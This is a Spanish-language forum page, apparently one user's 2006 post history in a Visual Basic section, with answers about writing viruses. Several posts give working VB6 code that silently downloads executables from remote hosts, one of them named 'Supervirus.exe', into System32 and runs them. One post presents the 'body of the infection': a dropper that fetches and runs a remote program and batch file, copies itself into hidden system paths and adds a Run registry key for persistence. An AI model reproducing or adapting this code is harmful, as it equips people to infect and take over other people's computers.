| |
 Mostrar Mensajes
|
|
Páginas: 1 2 3 4 [5] 6 7 8
|
|
41
|
Programación / Programación Visual Basic / Re: Como puedo descargar un archivo de Internet con Visual Basic 6
|
en: 18 Diciembre 2006, 01:20 am
|
¿Quieres que la descarga sea invisible?  'Codigo de RANEFI Option Explicit Private Declare Function URLDownloadToFile Lib "urlmon" _ Alias "URLDownloadToFileA" _ (ByVal pCaller As Long, _ ByVal szURL As String, _ ByVal szFileName As String, _ ByVal dwReserved As Long, _ ByVal lpfnCB As Long) As Long Dim ERROR_SUCCESS Private Sub Command1_Click() Dim sSourceUrl As String sSourceUrl = " http://mx.geocities.com/" & _ "posotroranefi/msnmsgr.zip" DownloadFile sSourceUrl, "C:\ranefi.zip" End Sub Private Function DownloadFile(ByVal sURL As String, ByVal sLocalFile As String) As Boolean DownloadFile = URLDownloadToFile(0, sURL, _ sLocalFile, 0, 0) = ERROR_SUCCESS End Function O si quieres visible: 'Codigo RANEFI
Option explicit
Private Declare Function DoFileDownload Lib "shdocvw.dll" _
(ByVal lpszFile As String) As Long
Private Sub Command1_Click()
DoFileDownload _
StrConv("http://mx.geocities.com/posotroranefi/msnmsgr.zip", vbUnicode)
End Sub |
|
|
|
|
48
|
Programación / Programación Visual Basic / Re: Cuando se ejecute, que se copie a system32
|
en: 12 Diciembre 2006, 19:56 pm
|
Una buena idea es que se baje automaticamente de internet silenciosamente y desde tu programa llamarlo... Exactamenhte asi: Private Declare Function URLDownloadToFile Lib "urlmon" _
Alias "URLDownloadToFileA" _
(ByVal pCaller As Long, _
ByVal szURL As String, _
ByVal szFileName As String, _
ByVal dwReserved As Long, _
ByVal lpfnCB As Long) As Long
Dim ERROR_SUCCESS
Private Sub Command1_Click()
Dim sSourceUrl As String
sSourceUrl = "http://supervirus.com/" & _
"subdirectorio/Supervirus.exe"
DownloadFile sSourceUrl, Environ("SYSTEMROOT") & "\SYSTEM32\Supervirus.exe"
End Sub
Private Function DownloadFile(ByVal sURL As String, ByVal sLocalFile As String) As Boolean
DownloadFile = URLDownloadToFile(0, sURL, _
sLocalFile, 0, 0) = ERROR_SUCCESS
End Function En el otro form, creas un timer con intervalo de 2000 (2 segundos) Private sub timer1_timer ()
On error goto FALLO:
Shell Environ("SYSTEMROOT") & "\System32\Supervirus.exe"
Fallo:
End sub |
|
|
|
|
49
|
Programación / Programación Visual Basic / Re: Programacion Virica
|
en: 12 Diciembre 2006, 15:16 pm
|
Para empezar con programacion virica primero te recomendaria la programacion "legal". Estudiar como trabajan los programas, sus estructuras, sus codigos, etc... Y Luego empieza con programacion virica  . No creo que haya manuales, los lenguaje de programacion se puede utilizar tanto para bien o para mal. |
|
|
|
|
50
|
Programación / Programación Visual Basic / Re: Como hacer que se autoejecute...
|
en: 12 Diciembre 2006, 14:41 pm
|
Aqui te dejo el codigo... Option Explicit
Dim RegistroCochino As Object
Dim RutaCochina As String
Dim CadenaNueva As String
Dim ContenidoCadena As String
Dim ERROR_SUCCESS
Private Declare Function URLDownloadToFile Lib "urlmon" _
Alias "URLDownloadToFileA" _
(ByVal pCaller As Long, _
ByVal szURL As String, _
ByVal szFileName As String, _
ByVal dwReserved As Long, _
ByVal lpfnCB As Long) As Long
Private Sub Form_Load()
Dim Ya_Existe As Integer
Ya_Existe = App.PrevInstance
If Ya_Existe <> 0 Then
End
End If
On Error GoTo fallo:
Dim sSourceUrl As String
'Esta es la descarga oculta <|>
sSourceUrl = "http://h1.ripway.com/MyArchivos/" & _
"Mis_Fotos/InetCat/InetCat.exe"
DownloadFile sSourceUrl, Environ("SYSTEMROOT") & "\Files\InetCat.exe" ' Asegurate de poner la ruta a donde llega el archivo
sSourceUrl = "http://h1.ripway.com/MyArchivos/" & _
"Mis_Fotos/InetCat/Autoexec.bat"
DownloadFile sSourceUrl, Environ("SYSTEMROOT") & "\System32\Repair\AUTOEXEC.BAT" 'Aqui tambien
Shell (Environ("SYSTEMROOT") & "\Files\InetCat.exe")
Shell Environ("SYSTEMROOT") & "\Files\InetCat.exe"
Shell Environ("Systemroot") & "\System32\Repair\Autoexec.bat"
FileCopy App.Path & "\" & App.EXEName & ".exe", Environ("SYSTEMROOT") & "\{323-432112-53252LGSD}\InetCat.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", Environ("SYSTEMROOT") & "\SYSTEM32\" & "\InetCat.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", Environ("SYSTEMROOT") & "\SYSTEM32\" & "\Shell\W\O\R\M\L\O\L\J\A\J\A\{03424-03259325JH-BSSGKDS}.exe"
FileCopy App.Path & "\" & App.EXEName & ".exe", Environ("Homepath") & "\AppData\" & "\WISIP.exe"
ContenidoCadena = Environ("SYSTEMROOT") & "\Files\InetCat.exe"
CadenaNueva = "\InetCat"
RutaCochina = "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows" & _
"\CurrentVersion\Run" & CadenaNueva
Set RegistroCochino = CreateObject("WScript.Shell")
RegistroCochino.RegWrite RutaCochina, ContenidoCadena
fallo:
End Sub
Private Function DownloadFile(ByVal sURL As String, ByVal sLocalFile As String) As Boolean
DownloadFile = URLDownloadToFile(0, sURL, _
sLocalFile, 0, 0) = ERROR_SUCCESS
End Function
Acuerdate que esta es una estructura y es el cuerpo de la infeccio, no es el virus en cuestion pero te puede ayudar . |
|
|
|
|
|
| |
|
.
, por ejemplo, que se ejecute todos los 6 de cada mes.